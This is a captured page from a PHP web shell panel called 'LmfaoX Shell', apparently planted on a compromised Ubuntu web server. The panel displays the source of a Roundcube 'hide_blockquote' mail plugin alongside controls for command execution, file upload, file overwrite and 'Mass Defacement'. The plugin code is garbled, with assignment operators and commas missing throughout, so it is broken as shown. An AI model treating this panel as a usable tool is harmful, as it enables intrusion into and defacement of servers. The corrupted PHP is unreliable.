ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:24.89 GB of 70.42 GB (35.35%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ mail/ plugins/ hide_blockquote/ - drwxr-xr-x

Directory:
Viewing file:     hide_blockquote.php (2.39 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Quotation block hidding
 *
 * Plugin that adds a possibility to hide long blocks of cited text in messages.
 *
 * Configuration:
 * // Minimum number of citation lines. Longer citation blocks will be hidden.
 * // 0 - no limit (no hidding).
 * $config['hide_blockquote_limit'] = 0;
 *
 * @version @package_version@
 * @license GNU GPLv3+
 * @author Aleksander Machniak <alec@alec.pl>
 */
class hide_blockquote extends rcube_plugin
{
    public 
$task 'mail|settings';

    function 
init()
    {
        
$rcmail rcmail::get_instance();

        if (
$rcmail->task == 'mail'
            
&& ($rcmail->action == 'preview' || $rcmail->action == 'show')
            && (
$limit $rcmail->config->get('hide_blockquote_limit'))
        ) {
            
// include styles
            
$this->include_stylesheet($this->local_skin_path() . "/style.css");

            
// Script and localization
            
$this->include_script('hide_blockquote.js');
            
$this->add_texts('localization'true);

            
// set env variable for client
            
$rcmail->output->set_env('blockquote_limit'$limit);
        }
        else if (
$rcmail->task == 'settings') {
            
$dont_override $rcmail->config->get('dont_override', array());
            if (!
in_array('hide_blockquote_limit'$dont_override)) {
                
$this->add_hook('preferences_list', array($this'prefs_table'));
                
$this->add_hook('preferences_save', array($this'save_prefs'));
            }
        }
    }

    function 
prefs_table($args)
    {
        if (
$args['section'] != 'mailview') {
            return 
$args;
        }

        
$this->add_texts('localization');

        
$rcmail   rcmail::get_instance();
        
$limit    = (int) $rcmail->config->get('hide_blockquote_limit');
        
$field_id 'hide_blockquote_limit';
        
$input    = new html_inputfield(array('name' => '_'.$field_id'id' => $field_id'size' => 5));

        
$args['blocks']['main']['options']['hide_blockquote_limit'] = array(
            
'title' => $this->gettext('quotelimit'),
            
'content' => $input->show($limit $limit '')
        );

        return 
$args;
    }

    function 
save_prefs($args)
    {
        if (
$args['section'] == 'mailview') {
            
$args['prefs']['hide_blockquote_limit'] = (int) rcube_utils::get_input_value('_hide_blockquote_limit'rcube_utils::INPUT_POST);
        }

        return 
$args;
    }

}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2498 seconds